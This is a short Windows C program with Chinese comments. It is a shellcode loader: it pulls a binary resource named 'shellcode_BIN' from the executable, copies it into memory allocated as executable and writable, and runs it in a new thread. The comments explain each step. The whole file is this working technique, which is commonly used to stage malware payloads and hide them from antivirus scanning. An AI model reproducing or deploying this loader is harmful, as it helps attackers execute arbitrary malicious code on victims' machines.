#include <windows.h>
#include "resource.h"
int main()
{
// 获取资源句柄
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCEW(IDR_SHELLCODE_BIN1), L"shellcode_BIN");
// 用于获取资源的大小
DWORD ResSize = SizeofResource(NULL, shellcodeResource);
//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄
HGLOBAL Load = LoadResource(NULL, shellcodeResource);
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, Load, ResSize);
// 创建一个线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
return 0;
}